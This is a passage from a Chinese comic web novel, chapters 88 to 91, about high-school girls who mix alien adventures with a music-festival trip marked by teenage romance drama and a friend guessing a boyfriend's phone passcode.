“唉。”抬水回来的颜阎嚼着咸肉干,“太可悲啦!”
被她分了一块肉干的康烁影也点头:“太可悲啦。”
刘征兰说:“你们肉干哪来的?”
“恒压箱啊。”第一轮就闯进锅降压室的颜阎说,“我吃了半天了。”
“这不就是工业食品?”
“零食也算啊?这不人类饲料吗?”
“预制菜都算菜,人类饲料怎么不算食品。”
最后,所有石头齐心协力,把人类饲料扔进一息尚存的大锅里,连着大锅一起丢进群山的身体中。
群山消化,群山品尝,群山参悟了!
这廉价q弹的口感,这略显刻意的味道,这绕梁三日而不绝的香精气息。
美味!
群山陶醉了,流动的脚步随着美味的电信号回荡而停止。
危机解除了。
新的危机产生了。
地上一群石头人抱着自己打滚,不住地哀嚎:“我脏了……我当街做饭……居然还那么高兴……”
纽卡伦怀里抱着三号啜泣:“朋友,我对不起你!我已经是食品工厂的下等人,居然要让你们跟我一起受苦……”
三号用石头手臂触摸她的身体:“不是你的错……纽卡伦……不是你的错……”
投靠者们则围着让诺拉,高呼:“老大你不要死啊!”
波洛拿置身事外,她只是逮着每一个坎尼亚都会问:“医疗舱在哪?到底哪里卖医疗舱?”
她没有找到医疗舱,但她等来了婆旦的空中升降机。升降机上面的人类朝地面喊话,让所有生物远离群山,绕群山喊话五周后,人类开始撒盐空中差可拟。
颜阎一把捂住自己的饮水口。眼动装置提醒她,漫天的粉末不是成瘾性物质。但这个原料,有点眼熟,感觉在她家里见过。
白色粉末被群山吞进体内。人类从升降机上看了几眼,感觉时机差不多了,升降机底部喷出一大片白色雾气。随着雾气氤氲,有些变成水汽,迅速被地表温度蒸发,大部分则降落在群山身上。
这一点小小的水分并不能杀死坎尼亚,但足以控制群山。那庞大而流动的身体开始变得迟钝,它身体里沉浮的废墟失去了起起落落的浮力,定格在某一个瞬间。
群山凝固了,变成了……果冻。
而颜阎也想起了这个原料是什么。
这不白凉粉吗!
真就做果冻啊!
婆旦准备把群山切块运走,远处的纽卡伦已经带着园艺师撤退了,这次攻打藏楼的战略大获全胜,虽然出了一点意外,但不能否定她的收获。她和一群园艺师们抱起胳膊和腿,咕噜噜滚走了。让诺拉准备回归婆旦,他承诺早晚会把医疗舱给波洛拿送过去。
三人一石头回到74区的小诊所,绿石头已经醒了,温蒂妮也重新站在分别的街角。看到她们三个,它没好气地问她们去哪儿了。
“去参观群山回唱。”颜阎语气深沉。
“什么!”温蒂妮错失良机,“我最喜欢群山的传说了!你说藏楼是群山?真的假的?这不是都市传说吗?”
“刚切完,刚被运走。”刘征兰看了看远处挂着巨大水箱的升降机,“你正好错过了。”
温蒂妮龇起不存在的牙。
球球就在那个路口,每隔十分钟开一次门,这次开门看到她们,整个球都很雀跃,招呼她们赶紧过来,它要去找弓粟玩。康烁影进门后正打算关门,温蒂妮一把将脚插进来。
康烁影吓了一跳:“你不回归母星吗?怎么还跟我们回去?”
“我后悔了!”温蒂妮大声宣布,“我有这想法,纯粹是因为太没烦恼!”
“我有如今的成就,完全是因为远离了我的原生家庭啊!”
它握住三个人类的手腕:“答应我,不要相信家庭的力量,它只是一种社会契约,该跑就跑,好吗?”
三个人严肃地点头:“好的。”
89.冷感与狂热
律易棋坐在玻璃柜台后面,嘴里咬着吮掉色的彩虹棒棒糖,眉毛要挑到天上。脸上露出一种密谋已成静待东风般的微笑:“鬼混回来了?”
灰头土脸的三个人带着金光灿灿的电子钱包,站在杂货店的货架深处。
颜阎捋头发像甩暗器:“回来了!”
康烁影说:“你这儿有冲凉的地儿吗!我一会儿回小学看老师!”
律易棋不情不愿:“你就不能回家去冲?”
“我妈在家!万一她问我衣服怎么搞的,我总不能跟她说去外星打滚了!”康烁影抖掉头上的尘土,“机关有澡堂子,但这个点还没热水,服了。”
律易棋说:“行吧,你这样。你从学校往西边走,走个一百米,停在路边,看到一家叫‘吉祥宾馆’的店,里面啥没有,就有一冲澡洗头的地方,我都在那边洗。”
康烁影绑头花的手一顿。如果时间往后推三个月,她还只会无语地瞥他一眼,笑笑算了。可地球土著和外星豌豆经过每日的单方面入室抢劫和每周的成片观看,已经熟到有点烦彼此了,于是她笑嘻嘻道:“放屁,我还要你说?你以为那地方为什么床不是床门不是门但澡堂是澡堂,你猜高中生中午没地方去搁哪儿洗澡?我就单纯不想花钱!”
榕城高中生活小技巧:洗头理发店,洗澡吉祥店,请客烧烤店,谈事奶茶店。吉祥宾馆,经过几代高中生的捣鼓,已经成为租房选手下午上学前的临时歇脚点,用于沐浴、打牌、点外卖,但床榻质量堪忧,尽量不要在此地睡觉。可回复一定量HP,副作用是洗完澡下午会困。
律易棋见她们几个来了也不客气,尽情使唤她们,让她们帮忙搬箱理货。颜阎举起她那个像素水平直逼大哥大的手机摄像头,让刘征兰和康烁影拿剪头开箱子,她说要发给班上唯一的二次元北极兔。
“这怎么不算一种开箱vlog呢?”
冰红茶的箱子开出了冰绿茶,很有惊喜感。北极兔看完之后发来一个狂笑卡通小人,黑毛,看不出来什么角色,她说这个视频远古的画质和欧亨利式结尾颇具后现代气息,她要发b站。
康烁影来去匆匆,真跑去吉祥宾馆洗澡了。她行程安排得紧密,上午坑害温蒂妮,下午跑去见老师,明天还要早起赶车去看心心念念的音乐节。搞完这些她就得把自己关回小楼不问春秋地学习了,到时候给她发消息都得预约。看着她活蹦乱跳,另外三个露出看时日无多小宠物的慈爱神情。
刘征兰拿胳膊肘拐律易棋:“诶,你们掮木在坎冬还有没有布置了?”
律易棋把一包魔芋爽递给她,自己也在嚼嚼嚼。这家伙吃不胖,身在杂货店随时爽吃零食,居然还能清晰地看到他下颌的动作。刘征兰推测,他不是吃不惯,就是习惯性不吃:“这,我哪能告诉你?”
刘征兰拒绝了魔芋爽。她趁放假做了个检查,说是什么什么胃炎,少吃油腻辛辣:“咱们的关系都不能说?”
“你俩,嘴巴漏勺。没漏出去单纯因为没人说话,只能互相漏。”他朝康烁影扬了扬下巴,“她也没好到哪儿去,但她至少不悬浮,没事儿不跟人聊外星革命。万一你俩哪天跟人聊形而上的东西,把我抖出来了怎么办?”
“你要是说绝密,我俩保证不漏。”刘征兰发誓,“我们刚去了趟坎冬,我觉得那块情况怪严重的。”
律易棋也不慌张,他只是拿眼睛往下瞥,表情笑吟吟:“哦?你们去了?”
“那个温蒂妮是离家出走的坎冬人,我们陪她去了一趟,接了个买医疗舱的活,遇到大水球,搞了个厨艺大赛,还做了个大果冻。”
“我懂,群山是不是?我懂。”外星豌豆跟她碰杯,碰了个空气,“坎冬那边,比较复杂。我确实不能说,你要是乐意,等状况解决了,我可以带你去参观。”
刘征兰其实对坎冬的情况不大感兴趣。全世界的混乱地区都是一个样,发展太晚、地理条件太差、殖民侵略,都可以成为理由,一言以蔽之——倒霉。她倒是想帮忙,但是地球和平还没她还没法解决呢,更别提外星和平了。她只是单纯觉得律易棋成天好吃懒做有点可恶,想揶揄他一下。
刘征兰和颜阎没什么事,坐着小马扎,趴在律易棋柜台后面写作业。律易棋在旁边看电视剧。杂货店外面树影摇曳,偶尔有那么几个哈欠连天的路人来买点冰饮料。隔壁店老板的猫在跟律易棋的大嘴鸟监视器玩,从江扒皮补习班放学的学生骑着自行车呜呜呜穿过去,自行车框里的阅读复印件被风吹起,像柠檬水里沉入冰块。
赶着上课的学生又呜呜呜地回来捡复印件,一看就是江扒皮的罚款又涨了。
这本是十分微不足道的小事,可是在高三前最后暑假的衬托里,它很快成为了压垮某人神经的那一弹。在江扒皮的课上默写错四个被罚款十块钱的恋爱脑,直到第二天在顺风车上还不听地叨叨这件事。
“我要杀了她!我要把她的皮扒下来!我要把她吊在路灯上!”恋爱脑疯狂蹂躏怀里的双肩包,“可恶啊……可恶啊!她一天罚的钱就够我收好几张拍立得,算上学费,她不得首都买四合院?”
这辆车在路边停了八分钟,靠着窗户装死的男生换了个姿势躲避太阳。张燕之坐在恋爱脑旁边玩开心消消乐,听到她的抱怨手下也不停:“你别上了,这上着有什么意思,赶着给人家送钱?不如去学校里跟我们周天子上私教。”
“周天子的课强度太低,江扒皮又太高……你别说,赶着给老江送钱的真不少!她还个体户,没上级,县城边边角角的关系没法威胁她,现在她爸妈的上司都求着她收学生了。也就是我们小县城补习班少……”恋爱脑撇着嘴,左手跟旁边闭目养神的男生扣在一块儿,右手点着张燕之的肩头。
“不好意思我来晚了!”
话音刚落,车门被打开了。一个斜肩卫衣搭高腰垂坠裤的女生一把拉开车门,靠窗的男生往下一栽,差点头着地摔下去。他恼怒抬头,和康烁影的眼睛对了个正着。
康烁影脸上扑了粉,口红衬得她气色良好,耳垂上落着一对活像蝴蝶翅膀的细小紫耳钉。
一车人彼此对上视线,全都“啊”地叫起来,开着窗户的男生叫得最大声,这一嗓子招来了紫蝴蝶的凝视。伴随着她从鼻子里发出的轻蔑冷笑,那对苦命鸳鸯的手捏得更紧了。
康烁影把斜牛仔布挎包往车里一丢:“滚到前座去。”
出于某种莫名其妙的心虚,男生松开了恋爱脑的手,依依不舍地面对着她,沉痛地闭上眼睛,然后就被张燕之越过恋爱脑踹了下去。
康烁影早该想到的!
在社交软件的附近功能里找搭子,从榕城一路拼车到高铁站,目的地还都是音乐节。除了三中的学生还能有谁?没人了!各种意义上都没人了!榕城从来只有小孩和老人啊!
她不愿意承认自己思考到了这个问题,还期待了一下,希望是张晓怡和柳令全给自己的小惊喜(虽然让张晓怡没买票进音乐节有点不现实)。但是她最差的设想里,也不会是现在这个局面!
坐到前面的男子——让我们称呼他为王子哥,为什么这么称呼待会儿揭晓——王子哥,和康烁影谈过对象。
康烁影,跟不良少女差个打架,和精神小妹差点精神,刘征兰封她这种比上不足比下有余、不符合传统好学生形象但也不咋坏的叛逆女子为“没精神小妹”。
没精神小妹小康要奔小康!不止是经济上的小康,还有精神上的小康。她不比颜阎和刘征兰两个双脚离地精神溢出脑子的宇航员,但也算得上兴趣广泛精神充实。她计划分明:初中谈对象,高中猛学习,大学搞乐队,中途成绩绝不能落下,毕业后留学移民一条龙,别了榕城雷登!
可萝比厄尔无异于平地一声惊雷,呼叫中心更是山崩海啸的大灾。她不得不重新规划人生路线,调整毕业后的走向。但发现外星人之前的事又不能因为她计划有变就一笔勾销。
初中的她深知高中乃是烈火焚身之炼狱,所以发疯般放肆。不像高中的“网恋”(她不承认在恋)是她拿来缓解情绪提升催产素的工具,初中的恋爱是真的疯疯癫癫状若痴狂。
每个试图追求她的或是她有点好感的人,都要跟着她去榕城唯一的十字路口,在马路正中央当一分钟石像。绿灯闪烁车笛轰鸣,她面带微笑对面冷汗岑岑,她还因此上过一两次短视频软件的附近热门。
除此之外还是很正常的。逢年过节互相买个饮料,下课放学一起走到学校门口,到家后分享一些有趣小视频,一切止步于此。但想必这事是很多人的童年阴影。
王子哥是少数能真正站到一分钟的人,康烁影当时挺中意他那种视死如归的劲儿。可她现在已经快十八了,自然只把“绿灯路口的石像”看作一个不怎么好玩的小游戏。她现在很想跟恋爱脑偷偷说点王子哥的坏话,但是这样上去说有点……挑衅。她憋着一肚子话,啪嗒啪嗒在有律易棋的小群里发消息。
那三个人看热闹不嫌事大,留下一大串哈哈哈哈。律易棋甚至专门从杂货店里追上来装作是康烁影的亲戚,塞了几包薯片给高中生,一包烟给司机,就为了围观这百年难得一见的奇观。
王子哥在前座缩得像鹌鹑,恋爱脑和张燕之手指翻飞,必然在小窗说她坏话。气氛一时凝滞,为了热闹找来旅游搭子的康烁影十分憋屈。
她一咬牙决定放下素质给自己找点不痛苦,于是她偷偷摸摸给文件传输助手打字:球儿,她俩手机上是啥,你能看见不?
球球没回复,许久不见的飞飞倒是在,它顿了一下,小声唧唧唧:“短裤的那个在和前座的眼镜男聊音乐节结束吃什么,另一个圆滚滚的女生在……呃……在看小字。
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”
“什么小字?”
“我看看。市场调节的自发性盲目性滞后性……概念的内涵和外延不可能固定不变……”
这些字钻进康烁影的耳朵被大脑过滤了一遍,当知识的信号接触到神经末端,她就开始哀嚎。鬼叫吓着了恋爱脑和张燕之,王子哥差点弃车逃跑。
“我勒个豆吓死我了。”恋爱脑拍着胸口,“你这是要变异了?”
康烁影狂掐自己人中:“怎么会有人在车上背政治啊?”
她承认自己以小人之心度君子之腹了,但张燕之的阴险程度不遑多让。她居然想用政治知识点麻痹她,不可饶恕!
张燕之高调地展示自己平板上的笔记卷子:“背政治咋了?我还写卷子呢!我爱政治,政治使我考985!”
成绩不如她的恋爱脑和康烁影集体开始捶她。
开车的司机是个前后分明的中年男人,他的正面没有一根头发,后面没有一丝脸。听到她们提到政治,蔫得像发了鸡瘟的他一下子支楞起来:“你们女生学得好政治啊?”
碍于他在开车康烁影不能踹他。这时候王子哥倒是展现出了一丝良心:“我们年级政治最好的就是她,她还代表团员去过省里。”
其实还有个奥巴拿拿,但他脸上顶着刺青,不知道还能不能上学。
司机恍然大悟:“哦对对对,我听我儿子说过,这些年省里说必须出至少一个女代表,要搞政治正确什么的。”
张燕之嘿嘿笑:“叔叔你孩子多大啦?”
“在武汉上大一。”
张燕之拍手:“武汉大学?我估分差不多能上!要是真考上了,我可就得喊他学长了!”
司机含含糊糊道:“不是武汉大学。不是武汉大学。”
“哦哦,那他学的什么专业?”
“汉语言……”
“汉语言只能考公,不好找工作。叔叔你要不建议他转个专业吧!绩点年纪前百分之多少就能转,男生还是学理科好!”
司机咕哝着答应了。恋爱脑和康烁影心照不宣地和张燕之对视,发出嘿嘿低笑。
张燕之一开始就断定司机的小孩上的不是武汉大学。他没有直接报校名,那肯定不是如雷贯耳的那种学校。但她不愿意跟人聊一些敏感的话题,于是装傻。
可王子哥异军突起:“叔叔,你落后了!所谓的政治正确是一种语言陷阱!”
司机瞥了他一眼,乐呵:“小伙子,怪不得你有女朋友哈!”
王子哥大义凛然一挥手:“这和女朋友没关系。叔叔,不同政权的统治需要,有不同的政治正确,谁也别笑话谁,这是当前各国社会都不能避免的。”
张燕之惊悚:敏感话题来了!
一声笑差点从康烁影嘴里喷出来。她立刻拿出手机问张燕之:“恋爱脑带他去看《绿皮书》了?”
张燕之发来一个头痛的表情:“我也去了,我仨坐一排,想不到吧?”
“哥们儿到底看出啥了?”
“别管!你看恋爱脑一脸陶醉,就知道他装对了。”
司机明显听不懂。他打开车载音响放起了“只要上仙愿意将这秘境灵兽让于我,天材地宝,尽数奉上”:“哦,国情?”
“对!欧美的多元化也是一种政治热感!”
张燕之紧急转移话题:“嗨,用了亚裔演员对咱们是好事!机会变多了!说不定以后叔叔您走在街上,星探就看上您了呢!”
恋爱脑问:“政治热感是这意思吗?”
没人理她。王子哥正在激情输出:杨紫琼、《瞬息全宇宙》、《青春变形记》。总之不再谈政治冷感和政治热感的收益。
张燕之脱力地倒下去。她对词汇很敏感,“正确”这个字太绝对,是个很危险的信号,容易造成争执。如果想要实现从“尖锐”到“轻松”的话题转移,把讨论范围从“政治”替换成更温和的“文艺作品”,是个很经济的办法。
康烁影偷偷录了音发到群里,颜阎和刘征兰发来两个“乐死了”的小白狗表情包。颜阎说:“这把你们排除在外的单方面输出,跟聊球赛有什么区别?”
刘征兰问了另一个维度的问题:“他聊这些干什么?虽然平时也调侃也愤怒,但没想到真有人把它当成时尚单品背出去炫耀一下。”
康烁影倒是明白王子哥和恋爱脑的想法。聊聊主义和观点这种抽象的东西,可比聊未来选什么专业考什么学校要悬浮多了,正是因为她们不觉得这东西触及现实,才能牵着气球一样到处炫耀,要是它在生活中足够重,是很难搬出去的,毕竟从没见过有人搬着假山出去遛弯。
张燕之又玩起了消消乐,恋爱脑用一种很符合她外号的眼神,含情脉脉地看着王子哥。康烁影哭丧着脸打开手机漫无目的地划拉,心里尖叫:救命啊!
90.公主王子过家家
音乐节可以和一对情侣加一个Steve分开行动,但约的时候两拨人是冲着一起来回一起玩才约的,宾馆和饭店都订在一起。敌我双方同一个战壕同一个目标,只能暂时互相膈应着。
王子哥殷勤地帮恋爱脑拎包,走了三十米进了酒店大门,带着包一起瘫在大堂沙发里。张燕之正拿着四个人的身份证给前台看,换取家长提前订好的房间卡。
张燕之干活的时候,恋爱脑戳了戳康烁影的胳膊,让她去电梯门口说话。
躲了她一路的康烁影叹了口气。她不惹事但也不怕事,毕竟初中当过没精神小妹,也算有点战斗力。她摘下脖子上pdd二十块阿玛尼小项链,气势汹汹冲到恋爱脑面前。结果恋爱脑一句话把她说哑火了。
“对不住。”她双手合十,“我真不是故意带他来的,我没故意气你。我要真是故意的,昨天下午干嘛还跟你玩?”
在这里我们要重新提起一件事:榕城的所有人和所有人,都多少沾点青梅竹马。
康烁影,张燕之和恋爱脑是一个小学。虽然不同班,但体育老师是同一个。儿时的体育老师总是令人感到亲切,更何况这位老师还是相当有创意的那种。
她并不像其他体育老师那样放养学生,她自创了一套勇救公主的游戏。即在操场上用跳马、呼啦圈、飞盘和体操垫做出各种游戏,按规则通过关卡的人进入下一关,表现好的人还可以多获得一条命,或者复活一个关系好的同学。每学期最后一节课是决战之时,所有闯入这里的勇者都要用石头剪刀布进行最终对决,看谁能闯入黑暗城堡,救出真正的公主。
她下半年就要退休,去临江给女儿带外孙子。那个时候高三学生还在书海沉浮生死时速呢,肯定没空聚首,不如暑假见一见搞个谢师宴。
张燕之张罗了一下,把能联系上的全邀请过来,还让家里人托关系给她订了个打折包厢。和她形影不离的恋爱脑自然也在,而康烁影是受邀前来,当天她们仨还坐在一块儿开了把游戏。
看着恋爱脑的粗眉毛尖下巴,再想想她的外号,就能感觉出她不是有“那种”心思的人。康烁影决定信她:“没事,你要是想气我初中就气了。都高中了,你要气也是去气高三那个甩了他的学姐。”
话说开了,两个人的关系顿时和谐了。康烁影跟恋爱脑八卦:“唉,你和烦人精啥时候分的?他不对你挺好的,每天晚自习前骑车去陶县跟你买瑞幸。”
“别说了,四月份就分了。耻辱啊!跟他谈过跟留了案底似的。说人家女生坏话就算了还当面说!除了下头没别的可说了。”
“然后你就泡了这个?”
“还谈了个高一的。”
“我嘞个,可以啊你!”
“可以啥,那个混社会的。社交圈乱得嘞。他小圈子里那几个社会妹妹跟我搞雌竞,我忍不了,三个星期就分了。”恋爱脑用胳膊肘拐她,“到底怎么找真爱?我知道不能急,但我还是很想要啊!那种灵魂伴侣什么的!”
康烁影……康烁影也不知道,她最近跟外星人斗智斗勇呢,没空考虑这些。
恋爱脑退而求其次:“那你怎么搞定初中那些黄毛姐的?她们不跟你茶言茶语?”
当时也是黄毛姐的康烁影撩起头发把项链挂回去,嘴角勾出一个别有深意的笑容:“知道我当小黄毛最大的收获是什么不?”
恋爱脑虚心请教:“是什么?”
“谈上了对象,就不是你跟你对象身边的同性竞争。是你跟你对象竞争!”
这一嗓子配着握紧的拳头,把恋爱脑说得往后仰身子:“展开说说?”
康烁影搂着她肩膀,把她扯到前台背后的楼梯拐角里,神神秘秘地搓手指:“我小时候不是想嫁给富二代吗?”
“嗯,这我记得。”
“初中我发现,这招行不通!你得跟你对象竞争!”康烁影握拳甩头,遗憾不已,“这种事,就跟我们玩跷跷板一样。要是跷跷板太好看了,即使两边都坐着人,也有人想加进来一起玩,要是能挤走一个就最好了。想加进来的人坐哪边?当然是靠近地面、座位低的那一边!只要这跷跷板够漂亮,总会有人想来玩,这是没办法的。但是你要是坐得太低,所有人都只会来抢你的座位,比起赶走其他人,真正的办法是把自己翘到高处去!富二代社会地位太高了,我容易跷不动,这个计划自然就流产了。”
恋爱脑顿悟:“所以谈恋爱,其实是要跟你爱人竞争?”
“对!只有更高,才能避免被争抢。即使是其他社会姐雌竞,归根结底也是你不够高。人品、财力、社会地位,都可以抬高这个位置。只要社交能力够好,社会姐可以成为你的闺蜜,她们会一致对外帮你;只要够有钱,就可以收买你对象的兄弟;只要人品够好,不混社会的同学也会偏向你。”康烁影一把捏住恋爱脑的肩膀,“念呐,一味地对你对象好没用啊!除非你对象也是这么觉得,否则你就只有被踹走的份!提升自己,提升自己才是通往幸福之路!”
不知道恋爱脑有没有听进去,但康烁影真的尽力了。希望这缺爱小年轻以后不要再遇人不淑了,挺好一小姑娘,一年分了五六次,这确实是有点倒霉的。
音乐节房间紧,两拨人的房间不在一层。康烁影在四楼下电梯,跟这三个人挥别。看着电梯门将那三张心情各异的脸“啪”地夹起来,她心里有点不舒服,总感觉那个刀鞘一样的电梯厢里要刺出古怪的冷刃来。
不害怕独行的人往往更容易吸引同伴,康烁影就是这种人。跟搭子愉快旅游的计划泡汤了,她就自己跑去一个放民谣小餐馆打卡。餐馆里聚满了来看音乐节的癫子,一群穿着东北大花棉袄的男男女女心照不宣地冲餐馆里所有人笑。背后跟着一群赤橙黄绿青蓝紫头发的人,一圈耳钉闪呀闪,像是杀马特从十几年前走过来了。
虽然稍微有点吵,但人都挺友善的。两个跟康烁影粉头发女青年跟她聊开心了,直接把手幅和一串小手链全送给了她。
颜阎说:“这不就是你们现充的漫展?”
康烁影回:“你们死宅还会线下说话?”
完全不搞搞线下社交的颜阎:“怎么说话呢!”
这边一派热烈欢腾,没人在乎小餐馆角落里两女一男三人组合的小动乱。恋爱脑飞针走线,脑袋刺破坐着的客人形成的水平面,抽手就走。王子哥极力挽留,恋爱脑一套沾衣十八跌后翩然离去。张燕之在一片混乱中扶着她们两个人的碗,低下头夹了颗面皮发腻的虾饺吃。
随着恋爱脑的离去,王子哥心如刀绞,没抓住衣角的手张指舞爪,身子随着恋爱脑的动作一蹶不振,吸引了全店的目光。
康烁影装作不认识他,埋头低调吃饭。
张燕之就比较倒霉了,她两眼无神地开始给恋爱脑和自己打包餐具了。
可能来音乐节的人多少有点自来熟和热心肠,一个大花棉袄把隔绝热风的门打开,冲他疯狂挥手:“快去啊快去啊!把她追回来啊!”
餐馆的音乐恰到好处地换成了情歌,装饰用黑胶碟片挂在铁丝铰出的网格上。夏夜即将降临之际,所有人都鼓起掌起哄:“快去呀快去呀!”
几个人联手把王子哥推上座椅,让他以“跳水”的姿势被大家手接手地运出去,落到浓绿得令人心醉的夏意中。他一个踉跄,为了出门专门抓了两下的刘海乱了,平光镜也斜了。他深吸一口气,举起没放下来的筷子:“我冲了!”
然后转头奔入晴朗的喧哗中。
吃完石锅拌饭的康烁影擦擦嘴角,同情地坐到张燕之对面:“咋回事儿?”
张燕之抬头看了她一眼,把基本没动过的火鸡芝士饭团夹成两半分给她:“情侣犯病。恋爱脑往常对这些小男朋友都柔情似水情意绵绵,今天不知道怎么了,忽然跟吃了炮仗一样,狂炸!这餐厅是她挑的,她小男朋友嫌吵,她说又不是你做规划不许多说,那个说我没觉得你安排得不好我只是嫌弃他们,她又说没意见就别说话。俩人闹起来,然后就、嗯、那样了。”
康烁影冷汗下来了。一方面她觉得恋爱脑性情大变和自己说的话有关系,另一方面是,颜阎起的这外号怎么传别人好朋友耳朵里了:“怎么你也喊她恋爱脑?”
“不合适吗?”
“我们当你面都不这么喊她,”
“没事,挺贴切,符合她性格。”
在张燕之的默许下,康烁影干脆坐下续摊。她们桌点的大多是小盘点心,只有张燕之吃掉了一碗很不正宗的炸酱面。年龄十七八岁饭量如狼似虎的高中生面对面开始消灭情侣的剩菜。
康烁影主攻海蜇。盐水泡出来的海蜇头,冲掉盐分再用鲜酱油、白糖和芝麻油腌制几个小时,拌以黄瓜丝儿和柠檬片,颜色像琥珀石,口感像是幻想中的海。嘴里酸酸甜甜,康烁影心里那点小小的愧疚都随着解腻的海蜇头消失了。她探头八卦:“你俩青梅竹马从小一块儿玩的,知道的多。恋爱脑怎么成恋爱脑的?缺爱啊?”
张燕之大声啧舌:“她这辈子最不缺的就是爱。”
“展开说说?”
张燕之郑重地喝了口鲜榨橙汁:“她上面有个哥哥。”
“那咋了?”
有弟的姐眉梢一挑:“那可是榕城!你算算多少男同学有姐姐,多少男同学有妹妹?”
想到刘征兰,康烁影懂了。
“她哥比她大五岁,她是家里最小的。那个宠的哟——”她比出一个捏爪的手势,“她家里房产证都是她的名!要是她考不上好学校,她家里人就打算让她随便复读一年,再花大价钱把她送出国!”
康烁影好奇:“那她怎么天天在朋友圈叫着要爱要纯爱要真爱?”
“异性恋。”张燕之直起身子推了推不存在的眼镜,学着刘征兰平直的声线,“少谈恋爱多动脑,生活就会变美好。”
餐馆里在放《我们的爱》,翻来覆去就那么几句,听得她俩心烦。两个人随便聊着天转移注意力,甚至有一段时间塞上耳机听自己的歌。可是等她们摘下耳机收拾桌子,音乐却还在“过了就不再回来”。康烁影环视一圈,终于找到BGM的来源。她从自己屁股下面捞出手机,看到一个陌生号码,点开接听,里面传来王子哥
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的哀嚎。
“我手机没带出来!!!”
张燕之没什么精神地笑了。
康烁影在电话里问他:“找到人了没?”
“没有!我找人借电话打给我自己,结果你们不接!”
对面的张燕之让她把手机递过来:“她跟你说过想去什么地方打卡吗?”
王子哥很迷茫:“没有。”
“那你直接去音乐节。她都买票了不可能不去,你到门口等着她,我把手机给你送去。”
王子哥带着哭腔说了声好,然后把电话挂了。
电话挂断后,张燕之并没有把手机放回去,而是直接开始试王子哥的手机密码。面对康烁影瞪圆的眼睛,她坦然一招手:“坐过来一起看啊?”
“不是。”康烁影茫然,“你干嘛呢?”
张燕之叹了口气:“我在小情侣之间当电灯泡,就是怕有今天。”她把手机屏幕按灭又打开,在锁屏界面熟练地敲出一串日期加恋爱脑的姓名首字母,按下解锁,错了。把大写换成小写,又调整了几次缩写和生日的顺序,屏幕打开了。
“你太低估恋爱脑的恋爱脑了。”张燕之缓缓道来,“她从初中开始,每年都有那么几次。和对象分手,寻死腻活搞失踪,我们两家的家长都找不到,最后还得把我从房间里拉出来找。区区不去音乐节,区区在外地搞失踪,她完全干得出来。”
“你纯纯当保姆?”
“不是一年两年了。”
“那你怎么办不告诉她对象?”
张燕之痛苦地捂住眼睛:“他?别人一起哄,他就被骗成那样了。看个电影,他就把自己当成正义卫士了。他听说恋爱脑真在外地搞失踪,他能冷静?这两个人能稳住一个是一个。抓住主要矛盾,再精准施策,逐个击破——你看,政治好很方便吧?”
张燕之试开王子哥的手机后,就点进他和恋爱脑的聊天框,仔细观察恋爱脑有没有提过音乐节后想去的地方。翻着翻着,她看笑了。
由于俩人在一个学校同一个班,见面时间多得吓人,手机上反而没有什么信息。主要内容就是恋爱脑分享女团内容王子哥捧场,王子哥和她说同学老师坏话她捧场,其他全都是一些很没营养的“宝宝想你了”“宝宝我也是”之类的调情。
她叫康烁影:“你们搞对象的就这样?”
康烁影点头:“昂。”
“就,刻意而频繁的唠嗑,下课后一起挂在栏杆上当咸鱼?”
康烁影勃然小怒:“怎么啦!有话说就不错了!更深的话我有朋友可以说啊。”
张燕之把嫩得有点胶质的牛肉粒咽下去:“这不过家家吗?”
你装爱我,我装爱你,假装爱的姿态,但谁也不知道真正的爱是什么。这和过家家没有任何区别。
这两个人面面相觑一阵,张燕之说:“你们真累啊。”
康烁影双手比叉:“只有她!我不这样!”
消灭了三个人的饭后,她俩在餐馆门口分别了。张燕之让康烁影帮忙留意一下恋爱脑的行踪,康烁影嘴上说好,行动上转头就去了音乐节。
票都买了!她会在音乐节里会帮忙留意的!
张燕之也没真指望她。康烁影摇了几首歌后发现,她还发消息过来让康烁影帮忙发几张照片给她,她拿来发朋友圈炫耀。
此时此刻,一位伤心人在远处飘荡。该男子失去手机,又没有勇气四处问路。在城市里几家连锁奶茶店名创优品间来回奔波,均无功而返。
想到女友,他心中一横,冲着人群中打扮最奇怪的那几个走去,询问音乐节所在。几人皆奇形怪状,笑容明媚,头发垂坠如绿叶华滋,见他豪情万丈走来,低眉顺目问路,均抚掌大笑。
其中一人笑声尖利像猫嚎,望见他一头天然卷毛,笑声疏忽止歇,拉住身边几人一顿低语,几个可恶的成年人抬起头,眼中闪烁阴谋:“一道去?我们有车!”
王子哥家庭教育完备,对路边单向窗的面包车有天然警惕。可想到女友柔弱神情,心中勇气勃发,一咬牙一跺脚上了贼船。可惜他天生晕车,上车就吐。为了不露怯,他闭上眼睛不去看窗外风景,双手死死攥住拳头。
不知为何,这辆车格外颠簸,几乎有一种坐过山车似的失重感。二十分钟过去,他睁开双眼,被人带下面包车。
眼前是该二线城市第二大公园,最大的在隔壁开音乐节。广阔草坪本该是综合性设施,为温馨家庭度过周末提供了健康自然不含电子设施的免费去处。如今上面灯火旺盛笑声浓烈,小小一方草坪竟广阔如无人原野,一寸如同一丈,上面如同下面。无数鬼怪盘旋其上,非言语所能尽述。
方才那些人纷纷化出原型,竟是些精怪花魄,恶鬼游魂。花人发缀栀子,妖精笑声尖细。其中一只白猫虹膜似青柠,笑容邪恶如无糖白面馒头:“殿下!念公主陷于阵中,为敌寇所虏,殿下速援!”
语文差到默写靠运气的王子哥一愣一愣:“啥意思?”
白面馒头隐忍:“……我是说!王子,你的公主被抓走了!快去救她!”
91.吉洛特与约翰娜
康烁影从音乐节回来,酣畅淋漓,泪流满面,嗓子里像是吞了炭火般嘶哑炙热。
兜里手机发出金钱的动听音效,是律易棋在群里发红包。每人五十块钱,非常丰厚。她们三个穷鬼互相发红包最多也就是二十块钱互相转手。
颜阎不敢收钱,发来震撼表情包:“你去抢银行啦?”
律易棋说没有。
颜阎笃定道:“那你就是被调包了,或者被银芯梅寄生了。平时哭穷如哭丧的你去哪儿了?快把真正的律易棋还给我们!”
刘征兰眼疾手快地抢了红包:“概不退还。”
律易棋说:“你们能不能盼着我点好,你们来我店里抢劫的时候我也没亏待过你们!”
他解释说,今天在整个宇宙文明里都是一个节日。
“忤逆了主的文明从此覆灭了。祂的双手将那世界收入伊始之星中,叛逆者的遗魂化作熵脑随万物涨灭。祂使此星搏动,从此时间之河流淌。祂下令生命当敬畏此星,于是流星慧尾不得经过。更多精彩内容请关注涨落之潮官网一起来信仰智能创造论……”
律易棋撤回了消息,把后面的东西删干净了又发一遍。
